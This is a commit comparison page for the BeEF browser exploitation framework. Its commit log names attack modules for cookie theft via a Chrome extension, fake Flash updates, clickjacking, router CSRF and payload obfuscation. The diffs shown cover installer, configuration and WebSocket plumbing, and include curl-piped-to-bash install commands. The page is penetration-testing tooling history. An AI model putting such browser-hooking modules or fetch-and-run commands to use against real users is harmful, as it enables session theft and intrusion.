Compare commits

..

141 Commits

Author SHA1 Message Date
Ben Waugh
defc5987c7 Added #!/bin/bash to install script 2012-06-05 07:28:50 +10:00
Michele Orru
1d13368644 Merge pull request #689 from bmantra/master
fixes #661. Ported @malerish PoC for GlassFish (deploy WAR through XSRF)
2012-06-03 15:30:20 -07:00
root
8e7e546ef9 fixes #661 2012-06-03 19:53:33 +02:00
bcoles
729336df53 Added debug mode to clickjacking module 2012-06-01 10:49:46 +09:30
bcoles
9e2ac56ea6 Added clickjacking module
Fixes issue 105
2012-05-30 19:40:29 +09:30
bcoles
fdd9d2c555 Added Cross-Site Printing module 2012-05-30 17:11:34 +09:30
bcoles
d76c0a39c7 Trivial readme updates 2012-05-30 09:24:08 +09:30
bcoles
1b9153485e Removed Induce Seizure module
There is no reason what so ever for browsers to be able to cause the
screen to flicker. This issue has been known for a very long time.

Maybe it's time browser developers consider the health of their users.

---

Can cows get epilepsy? Breeds such as Swedish Red Cattle, Hereford and
Angus have been reported to suffer epilepsy. Source:
http://www.kgbanswers.co.uk/can-cows-get-epilepsy/2217549

Think of the cows.
2012-05-29 20:41:41 +09:30
bcoles
8dc4261094 Updated get_all_cookies module description 2012-05-29 20:37:14 +09:30
bcoles
1c9310f89f Added Induce Seizure module
Disabled by default
2012-05-29 20:02:16 +09:30
Mike Haworth
4e75c869ff Merge branch 'master' of github.com:beefproject/beef 2012-05-29 22:44:52 +12:00
Mike Haworth
5aa2cefc43 Chrome extension module for stealling cookies inc. HTTPonly 2012-05-29 22:44:03 +12:00
Mike Haworth
172ec56be6 Got a better splash image, added cookies permission, added some brief documentation 2012-05-29 22:42:58 +12:00
bcoles
0ac7023df1 Renamed getScreenParams() to getScreenSize()
Added date stamp to browser hook initialization
2012-05-29 18:52:43 +09:30
bcoles
75315f8622 Added support for Firefox 13
Added return message for fake flash update module
2012-05-29 16:40:15 +09:30
antisnatchor
874bc14278 Close issues #541 and #684. Added 2 command line options to ovveride default port and websocket server port 2012-05-28 13:44:05 +01:00
bcoles
53b0781961 Updated supported browsers and module description for:
o modules/misc/iframe_sniffer/config.yaml
o modules/social_engineering/fake_flash_update/config.yaml
2012-05-28 10:28:31 +09:30
Mike Haworth
dc040a51ac added fake flash player module and chrome extension 2012-05-28 00:17:53 +12:00
Michele Orru
b84ec775a1 Merge pull request #683 from bmantra/master
Merging pull request for framesniffing module (issue #644).
2012-05-25 11:18:41 -07:00
antisnatchor
b3f8504a2e Evasion: added support to scramble cookies as well. 2012-05-25 12:02:28 +01:00
antisnatchor
0d2598e0b8 MITB: closed expressions 2012-05-25 11:18:33 +01:00
antisnatchor
c79a2ee6f1 Evasion: Added bootstrapper functionality. Added support for obfuscate modules with the same techniques used for the hook. 2012-05-23 15:23:15 +01:00
antisnatchor
c1d021a7e8 Evasion: Fixed bug in scrambler. 2012-05-23 15:01:02 +01:00
antisnatchor
aee0b1e50f Evasion: scramble now stores random values in the config object, in order to be re-used later on in a consistent way. 2012-05-23 13:44:41 +01:00
antisnatchor
b7f6073631 Evasion: added helper module for common methods (random_string) 2012-05-23 13:43:28 +01:00
antisnatchor
0ce3490420 Don't use eval when evaluating the base64'ed blob in the Evasion extension. It was also triggering BeEF "static analysis" tests LOL 2012-05-22 17:37:36 +01:00
antisnatchor
8d805c550f Started working on the Evasion/Obfuscation extension. Added scrambler, minifier and base64 encoder in the chain. 2012-05-22 16:41:29 +01:00
antisnatchor
395141b8c8 Merge remote-tracking branch 'origin/master' 2012-05-22 13:39:05 +01:00
antisnatchor
1282831af1 Terminating unterminated statements in various JS files. 2012-05-22 13:38:28 +01:00
antisnatchor
2bad801c80 Terminating unterminated statements in various JS files. 2012-05-22 13:27:57 +01:00
bcoles
981b13ce7b Added huawei_smartax_mt880 CSRF module 2012-05-22 17:52:36 +09:30
bcoles
6739094f57 Added dlink_dcs_series_csrf module 2012-05-22 17:22:20 +09:30
Michele Orru
f08fa2568b Merge pull request #682 from zepip/master
README changes
2012-05-21 05:38:45 -07:00
Pipes
9da617a50a README changes
Introduce README.mkd
Mirror without markdown in README
Move detailed installation instructions to INSTALL.txt
2012-05-21 19:42:12 +12:00
bcoles
f8eba21cb4 Moved a few more modules and updated some module descriptions 2012-05-20 18:50:10 +09:30
bcoles
460b619cc1 Moved Router and Switch categories under Exploits category
Added Social Engineering category
2012-05-20 18:32:44 +09:30
Brendan Coles
56443cfdf4 Merge pull request #680 from bmantra/master
module to change password of a netgear GS108t managed switch
2012-05-19 21:14:16 -07:00
Michele Orru
86b3103925 Merge pull request #681 from radoen/master
Merging WebSocket fork, disabled by default.
2012-05-19 12:00:13 -07:00
antisnatchor
b49548d22e Temporarily disabled DebugModules tests. 2012-05-19 19:54:21 +01:00
antisnatchor
51b27709dd Merge remote-tracking branch 'upstream/master'. WS: added stringifying command results in beef.net.send 2012-05-19 19:19:03 +01:00
Mike Haworth
b420fe0523 When using safari as cross-domain proxy polling failed if firefox requested http://fxfeeds.mozilla.com/en-US/firefox/headlines.xml. The cause was JSON.stringify failing, so just through a try /catch round it 2012-05-20 00:05:02 +12:00
Brendan Coles
c92ef02a7a Merge pull request #679 from 0x7674/master
'Clippy' Module
2012-05-19 00:43:29 -07:00
root
e4ea5dfff9 Closes #644 but needs to be tested on other browsers 2012-05-17 18:09:00 +02:00
vt
b8ba48af25 Updated module.rb with a more sane respawn time 2012-05-18 00:12:43 +12:00
vt
6ea46e72da Updated command.js to support IE6 properly 2012-05-18 00:12:03 +12:00
Christian Frichot
a6a7536e73 Issue #678 - Custom Hook Point Extension initial commit 2012-05-17 18:52:35 +08:00
root
6279658888 integrated remarks from bcoles and antisnatchor 2012-05-17 04:57:38 +02:00
bcoles
74a3eef225 Moved mobilesafari_address_spoofing module to
modules/browser/hooked_domain directory
2012-05-17 08:53:01 +09:30
root
d354e66a3d Added module for GS108t managed switch 2012-05-17 00:47:33 +02:00
Christian Frichot
1a85b6bc92 Issue #650 - forgot the license on the js file - my bad 2012-05-16 22:41:51 +08:00
Christian Frichot
e8ea3a3cd7 Merge branch 'master' of github.com:beefproject/beef 2012-05-16 22:36:33 +08:00
Christian Frichot
8f1aae97c8 Fixes Issue #650 - iOS Safari Address Bar Spoofing Command Module 2012-05-16 22:36:21 +08:00
Ben Waugh
f0b1d6d76f Updated CDE Generator
UpdatedCan be run with: rake cde
2012-05-16 07:54:09 +10:00
bcoles
594e745694 Added favicon support to deface_web_page and site_redirect_iframe modules
Fixes issue #491
2012-05-15 17:47:05 +09:30
Ben Waugh
b9c9df93e1 Updated Installer Script
Improved Debian/Ubuntu installer
Added Disclaimer Message/Opt Out
2012-05-15 18:27:43 +10:00
bcoles
1335f57a46 Browser plugins are now passed through unique() 2012-05-14 20:29:18 +09:30
Christian Frichot
aa671f6e64 Merge branch 'master' of github.com:beefproject/beef 2012-05-14 18:13:41 +08:00
Christian Frichot
3c7686e196 Nested command modules are now also sorted, and sub-folders include children count. Fuck yeah recursion111. Issue #550 2012-05-14 18:12:45 +08:00
bcoles
78b88ee09f Changed status/port status info for cross-domain request history 2012-05-14 18:57:44 +09:30
bcoles
2f7d98c7a7 Fixed bug in core/main/client/net.js
ALL requests (modules, requester, etc) were failing in Firefox since
commit 1fd66bce1e
2012-05-14 17:45:03 +09:30
Mike Haworth
1fd66bce1e Issue #666 Proxy now uses forge_request, allowing cross domaian requests, for instances where SOP bypass is available 2012-05-13 13:08:13 +12:00
antisnatchor
6eacf97b80 Moved "hooked_browser" category inside "Browser", now as a sub-category. 2012-05-12 12:13:57 +01:00
Christian Frichot
7d7f6b13b4 Fixes Issue #550 Module categories can include sub-folders. Specify them as an array in their yaml file 2012-05-12 17:37:46 +08:00
antisnatchor
247e0e9a62 Issue 676. Now we use em-websocket for WebSocket server side. Instead of threads we use events with EventMachine. Faster and consumes less memory. 2012-05-11 15:58:59 +01:00
antisnatchor
052d25a36b Fixed another bug when parsing the BeEF hook cookie in Js. now using beef.session.get_hook_session_id(). Should be the last fix. 2012-05-11 14:22:13 +01:00
antisnatchor
96a16fa683 Fix issue 675 (added erubis parsing for Websocket config options) 2012-05-11 11:45:13 +01:00
antisnatchor
256ef0f2e8 Fix issue 673 (command module friendly name in WebSocket fork) 2012-05-11 11:12:12 +01:00
antisnatchor
fdad068ee5 Fix issue 674 (NilClass issue) 2012-05-10 13:54:40 +01:00
vt
9a5af8f7d1 Slightly less clunky js 2012-05-11 00:26:26 +12:00
antisnatchor
925e744194 Merge remote-tracking branch 'upstream/master'
Resolved conflicts:
	core/main/client/net.js
	core/main/handlers/modules/beefjs.rb
2012-05-10 10:19:22 +01:00
antisnatchor
46a19ee0b9 Updated lynksys_wrt54g_xsrf (second one) to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:39:18 +01:00
antisnatchor
f361e2ac78 Updated lynksys_wrt54g_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:35:53 +01:00
antisnatchor
f84d34ab86 Updated dlink_dsl500t_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:26:05 +01:00
antisnatchor
4faf75f1f1 Updated bt_home_hub_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:20:12 +01:00
antisnatchor
ef492dd19b Merge remote-tracking branch 'origin/master' 2012-05-09 14:08:11 +01:00
antisnatchor
e426b3fb13 Added iframe XSRF form in beef.dom (Fixes issue 104) 2012-05-09 14:07:13 +01:00
vt
4123bb5f5d add clippy files 2012-05-09 23:38:21 +12:00
Ben Waugh
95cc1ac2d6 Revert "Revert "Revert "Undated Installed to include disclaimer and exit option"""
This reverts commit 70f70a339f.
2012-05-09 11:42:32 +10:00
Ben Waugh
70f70a339f Revert "Revert "Undated Installed to include disclaimer and exit option""
This reverts commit 13c75e87c9.
2012-05-09 11:42:30 +10:00
Ben Waugh
13c75e87c9 Revert "Undated Installed to include disclaimer and exit option"
This reverts commit ff0dd7e9e2.
2012-05-09 11:42:26 +10:00
Ben Waugh
ff0dd7e9e2 Undated Installed to include disclaimer and exit option 2012-05-09 11:40:43 +10:00
antisnatchor
6f293ba866 Added dynamic module loading in the configuration object 2012-05-08 16:33:10 +01:00
bcoles
a62b77cc1d Updated introduction of public port settings
These settings are experimental
2012-05-07 18:26:27 +09:30
Brendan Coles
f221f93ebb Merge pull request #652 from ebababi/master
Introduce public port setting
2012-05-07 01:09:22 -07:00
Ben Waugh
6383f8670b Install Script
Script to install prerequisites for OSX/Debian/RHEL, download latest
Beef script, install required gems and start beef
2012-05-06 11:46:28 +10:00
Wade Alcorn
e88be79134 Updated demo page 2012-05-06 06:11:44 +10:00
Wade Alcorn
821ebf0a14 Merge branch 'master' of github.com:beefproject/beef 2012-05-04 11:56:14 +10:00
Ben Waugh
e3e4a44ae7 Bug Fixes for CDE Task 2012-05-04 09:41:12 +10:00
Ben Waugh
f566a00fdf fix to cde script
removed non-ascii char
2012-05-04 08:09:58 +10:00
Ben Waugh
1cf980f06e Added CDE Task to Rakefile
Initial CDE Generator script, will clone latest CDE package, make, then
create beef cde Package
2012-05-04 07:21:57 +10:00
Wade Alcorn
c61aae0949 Merge branch 'master' of github.com:beefproject/beef 2012-05-03 18:43:57 +10:00
bcoles
99d47351b7 Patched newline issue in request() in net.js
See commit c3435ee345 for more info
2012-05-03 15:54:46 +09:30
bcoles
53c6fb5252 Fixed typo in module name/category 2012-05-03 15:32:53 +09:30
antisnatchor
72ba526cbc merged changes of net.js to fix the requester/tunneling proxy 2012-05-02 14:28:30 +03:00
antisnatchor
9e9700f34a Merge remote-tracking branch 'origin/master' 2012-05-02 14:26:08 +03:00
antisnatchor
c3435ee345 Fixed a nasty bug in net.js forgeRequest. Stripping line breaks from request domain: prevented the requester/tunneling proxy to work (always cross-domain fails) 2012-05-02 14:25:31 +03:00
antisnatchor
2c19a3a8d8 Fixed issue when hooking a browser that contains other cookies than BEEFHOOK. now "alive" send back only the BeEF session value 2012-05-02 14:01:04 +03:00
antisnatchor
9ae0929a8c Merge remote-tracking branch 'upstream/master' 2012-05-02 13:04:51 +03:00
bcoles
b78390cd39 Added Google Search module 2012-05-02 18:42:18 +09:30
Wade Alcorn
335adbdc15 Merge branch 'master' of github.com:beefproject/beef 2012-05-01 16:52:32 +10:00
bcoles
d3f8b45f21 Moved ajax_fingerprint from 'host' to 'hooked browser' category 2012-05-01 08:54:41 +09:30
Wade Alcorn
aedfe0f9a5 Merge branch 'master' of github.com:beefproject/beef 2012-05-01 05:15:34 +10:00
antisnatchor
6ff34953d9 Added Leffe beer can handler. commented for now. 2012-04-30 10:14:59 +01:00
bcoles
8b3e032ad1 Removed debug info from ajax_fingerprint module
For real this time
2012-04-30 16:04:20 +09:30
bcoles
004b3c15ce Removed debug info from ajax_fingerprint module 2012-04-30 16:02:27 +09:30
Wade Alcorn
dc269b15b1 Version updated 2012-04-30 15:10:54 +10:00
bcoles
3dadf4406b Removed Gemfile.lock 2012-04-30 14:03:34 +09:30
Brendan Coles
215ddd9cf5 Merge pull request #665 from qswain2/master
Added a module to fingerprint ajax
2012-04-29 22:03:52 -07:00
qswain2
958ddb4845 Added Ajax fingerprint module 2012-04-30 00:39:39 -04:00
Graziano Felline
97c2649e36 Corrected issues on IE browser (IE8 IE9) to check IE6 -IE7
Corrected Issues whit character encoding
2012-04-20 19:17:34 +02:00
Graziano Felline
c83e7d584e Now the Alive check is by ws Timer 5 second
Tested And work
2012-04-19 19:30:19 +02:00
antisnatchor
b41c6e8559 Catched JSON::ParserError exception when a client abruptly disconnects (i.e.: closing the browser manually, or the hooked tab) 2012-04-18 16:56:43 +01:00
antisnatchor
6f73dd6a82 Merge remote-tracking branch 'upstream/master'
Conflicts:
	config.yaml
2012-04-18 15:27:22 +01:00
antisnatchor
cecd6cb14a Slightly changed comments on websocket.rb 2012-04-18 15:19:34 +01:00
antisnatchor
43f82b0c72 Removed not needed line 2012-04-18 14:41:49 +01:00
Graziano Felline
656262c0f4 Basic response recv system implemented
todo ping-pong for alive host. thread's content is  in websocket.rb
todo setting up a separate handler for via ws answer's
2012-04-18 12:00:17 +02:00
antisnatchor
2198c69aa8 Merge remote-tracking branch 'upstream/master'. Fixed conflicts on config.yaml. 2012-04-14 20:44:17 +01:00
Graziano Felline
2755c6449c Deleted some stuff that does not work correctly in old browser (IE 8)
Better check for FF
Cleand up inside the code
2012-04-14 19:42:53 +02:00
antisnatchor
185b1be30f Fixed issue with command execution. Now commands are executed correctly via WebSocket. 2012-04-13 13:35:29 +01:00
Graziano Felline
65138db207 Commands are now sent through websocket
Trouble with eval function in websocket.js
2012-04-13 12:45:48 +02:00
Graziano Felline
23f782b8d8 Hook.js load websocket.js only if specifield in beef configuration file
if websocket is disabled all work normally
 if websocket is enabled have trouble in command.rb
2012-04-12 19:01:49 +02:00
Graziano Felline
af9b3c97b5 Added polling stop if websocket is up in updater.js
added hash for websocket in websocket.rb
added check for websocket existence in command.rb and net.js
added a POC onmessage function in websocket.js
added check for websocket support in init.js
added a POC send to send command output to server in beef.js
2012-04-11 20:52:47 +02:00
Graziano Felline
302512e172 Added FF11 support 2012-04-08 13:21:12 +02:00
Graziano Felline
85b3a59441 The connection and helo to server correctly work. 2012-04-08 12:46:57 +02:00
antisnatchor
8f7caff30f changed websocket.js structure with closures. 2012-04-07 14:19:56 +01:00
antisnatchor
296d0161c9 fixed issue with FF detectionon websockets 2012-04-07 13:48:10 +01:00
antisnatchor
b08326ebcc fixed typo in ws.receive 2012-04-07 13:41:58 +01:00
antisnatchor
552beb4ccd changed allowed origins to ALL 2012-04-07 13:40:18 +01:00
antisnatchor
faae01a9aa Changed default websocket port 2012-04-07 13:34:21 +01:00
Graziano Felline
ce8919297f Merge remote-tracking branch 'origin/master'
Conflicts:
	core/main/network_stack/websocket/websocket.rb
2012-04-07 14:21:41 +02:00
Graziano Felline
bcd0ff154f Added websocket.js in beefjs.rb 2012-04-07 14:20:47 +02:00
antisnatchor
fe588cd2a0 Merge branch 'master' of https://github.com/radoen/beef-radoen
Conflicts:
	core/main/network_stack/websocket/websocket.rb
2012-04-07 13:07:17 +01:00
Graziano Felline
e1134e2fa6 Thread for websocket 2012-04-07 14:01:37 +02:00
antisnatchor
a5504a5b11 Printing nice print_into about the websocket 2012-04-07 12:59:24 +01:00
antisnatchor
64cee24c65 Added WebSocket config options for enable, secure and port 2012-04-07 12:46:57 +01:00
antisnatchor
236c8a81b6 Fixed issue with lib loading and WebSocket server initalization 2012-04-07 12:31:37 +01:00
Graziano Felline
15ca7777bb Inserted module in bootstrap 2012-04-07 13:00:40 +02:00
Graziano Felline
d3e2e1eb30 Inserted module in bootstrap 2012-04-07 12:56:06 +02:00
Graziano Felline
736c81573e Setting up structures and server/client environment.
A lot of TODO
2012-04-06 02:21:40 +02:00
Nikolaos Anastopoulos
e4d4edba75 Public port setting affects URI scheme 2012-03-23 20:42:12 +02:00
Nikolaos Anastopoulos
3d26782125 Added public port setting to server configuration 2012-03-23 15:09:46 +02:00
187 changed files with 34455 additions and 928 deletions

View File

@@ -26,6 +26,8 @@ end
gem "thin"
gem "sinatra", "1.3.2"
gem "em-websocket", "~> 0.3.6"
gem "jsmin", "~> 1.0.1"
gem "ansi"
gem "term-ansicolor", :require => "term/ansicolor"
gem "dm-core"

81
INSTALL.txt Normal file
View File

@@ -0,0 +1,81 @@
===============================================================================
Copyright 2012 Wade Alcorn wade@bindshell.net
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
===============================================================================
Installation
------------
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
6. Run instructions
1. Prerequisites (platform independent)
BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
gem install bundler
2. Prerequisites (Windows)
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the bundle install command !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
3.2. rvm install 1.9.2
3.3. rvm use 1.9.2
4. Prerequisites (Mac OSX)
- XCode: provides the sqlite support BeEF needs
- Ruby 1.9
To install RVM and Ruby 1.9.3 on Mac OS:
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
$ rvm install 1.9.3-p0 --with-gcc=clang
$ rvm use 1.9.3
5. Install instructions
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
Navigate to the ruby source directory and run:
bundle install
Bundler installs all the pre-requisite gems.
6. Run instructions
Simply run:
./beef

97
README
View File

@@ -1,4 +1,5 @@
===============================================================================
Copyright 2012 Wade Alcorn wade@bindshell.net
Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,67 +14,71 @@
See the License for the specific language governing permissions and
limitations under the License.
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing BeEF should be kept here.
===============================================================================
=============================================
What is BeEF?
-------------
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
6. Run instructions
BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Get Involved
------------
1. Prerequisites (platform independent)
You can get in touch with the BeEF team. Just check out the following:
BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
gem install bundler
Please, send us pull requests!
2. Prerequisites (Windows)
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
Web: http://beefproject.com/
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
Mail: beef-subscribe@bindshell.net
3. Prerequisites (Linux)
IRC: ircs://irc.freenode.net/beefproject
!!! This must be done PRIOR to running the bundle install command !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
Twitter: @beefproject
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
3.2. rvm install 1.9.2
3.3. rvm use 1.9.2
4. Prerequisites (Mac OSX)
- XCode: provides the sqlite support BeEF needs
- Ruby 1.9
To install RVM and Ruby 1.9.3 on Mac OS:
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
$ rvm install 1.9.3-p0 --with-gcc=clang
$ rvm use 1.9.3
5. Install instructions
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
Requirements
------------
Navigate to the ruby source directory and run:
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
* [SQLite](http://sqlite.org) 3.x
* The following GEMS:
- bundler
- thin
- Sinatra
- ANSI
- TERM-ANSIcolor
- dm-core
- json
- data_objects
- dm-sqlite-adapter
- parseconfig
- erubis
- dm-migrations
- msfrpc-client
- eventmachine
- win32console (Windows Only)
bundle install
Bundler installs all the pre-requisite gems.
Quick Start
-----------
6. Run instructions
__The following is for the impatient.__
Simply run:
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
Usage
-----
To get started, simply execute beef and follow the instrustions:
$ ./beef
./beef

84
README.mkd Normal file
View File

@@ -0,0 +1,84 @@
===============================================================================
Copyright 2012 Wade Alcorn wade@bindshell.net
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
===============================================================================
What is BeEF?
-------------
__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Get Involved
------------
You can get in touch with the BeEF team. Just check out the following:
__Please, send us pull requests!__
__Web:__ http://beefproject.com/
__Mail:__ beef-subscribe@bindshell.net
__IRC:__ ircs://irc.freenode.net/beefproject
__Twitter:__ @beefproject
Requirements
------------
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
* [SQLite](http://sqlite.org) 3.x
* The following GEMS:
- bundler
- thin
- Sinatra
- ANSI
- TERM-ANSIcolor
- dm-core
- json
- data_objects
- dm-sqlite-adapter
- parseconfig
- erubis
- dm-migrations
- msfrpc-client
- eventmachine
- win32console (Windows Only)
Quick Start
-----------
__The following is for the impatient.__
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
Usage
-----
To get started, simply execute beef and follow the instructions:
$ ./beef

View File

@@ -152,3 +152,45 @@ task :dmg do
puts "\nBeEF.dmg created\n"
end
################################
# Create CDE Package
# This will download and make the CDE Executable and
# gnereate a CDE Package in cde-package
task :cde do
puts "\nCloning and Making CDE...";
sh "git clone git://github.com/pgbovine/CDE.git";
Dir.chdir "CDE";
sh "make";
Dir.chdir "..";
puts "\nCreating CDE Package...\n";
sh "bundle install"
Rake::Task['cde_beef_start'].invoke
Rake::Task['beef_stop'].invoke
puts "\nCleaning Up...\n";
sleep (2);
sh "rm -rf CDE";
puts "\nCDE Package Created...\n";
end
################################
# CDE/BeEF environment set up
@beef_process_id = nil;
task :cde_beef_start => 'beef' do
printf "Starting CDE BeEF (wait 10 seconds)..."
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i)
end
puts '.'
end
################################

View File

@@ -14,4 +14,4 @@
# limitations under the License.
#
0.4.3.4-alpha
0.4.3.5-alpha

18
beef
View File

@@ -59,6 +59,15 @@ if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
BeEF::Core::Console::Banners.print_ascii_art
end
# @note Check if port and WebSocket port need to be updated from command line parameters
unless BeEF::Core::Console::CommandLine.parse[:port].empty?
config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
end
unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
end
# @note Prints BeEF welcome message
BeEF::Core::Console::Banners.print_welcome_msg
@@ -112,6 +121,15 @@ BeEF::Core::Console::Banners.print_network_interfaces_routes
#@note Prints the API key needed to use the RESTful API
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
#@note Starts the WebSocket server
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
end
# @note Call the API method 'pre_http_start'
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)

View File

@@ -16,7 +16,7 @@
# BeEF Configuration file
beef:
version: '0.4.3.4-alpha'
version: '0.4.3.5-alpha'
debug: false
restrictions:
@@ -32,11 +32,20 @@ beef:
port: "3000"
# if running behind a nat set the public ip address here
#public: ""
#public_port: "" # port setting is experimental
dns: "localhost"
panel_path: "/ui/panel"
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
secure: false # use WebSocketSecure
port: 11989
alive_timer: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: false
@@ -77,3 +86,5 @@ beef:
console:
shell:
enable: false
evasion:
enable: false

View File

@@ -53,3 +53,6 @@ require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/api'
## @note Include Websocket
require 'core/main/network_stack/websocket/websocket'

View File

@@ -78,10 +78,10 @@ module Filters
true
end
# Verify the screen params are valid
# Verify the screen size is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid screen param characters
def self.is_valid_screen_params?(str)
# @return [Boolean] If the string has valid screen size characters
def self.is_valid_screen_size?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
@@ -105,6 +105,15 @@ module Filters
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters

View File

@@ -48,9 +48,15 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
* @param: {Function} the function to execute.
*/
execute: function(fn) {
this.commands.push(fn);
},
if ( typeof beef.websocket == "undefined"){
this.commands.push(fn);
}else{
fn();
}
},
/**
* Registers a component in BeEF JS.
* @params: {String} the component.

View File

@@ -166,10 +166,18 @@ beef.browser = {
/**
* Returns true if FF12
* @example: beef.browser.isFF12()
* @example: beef.browser.isFF12()
*/
isFF12: function() {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
},
/**
* Returns true if FF13
* @example: beef.browser.isFF13()
*/
isFF13: function() {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
},
/**
@@ -177,7 +185,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
* @example: beef.browser.isFF()
*/
isFF: function() {
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12();
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13();
},
/**
@@ -411,6 +419,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
FF10: this.isFF10(), // Firefox 10
FF11: this.isFF11(), // Firefox 11
FF12: this.isFF12(), // Firefox 12
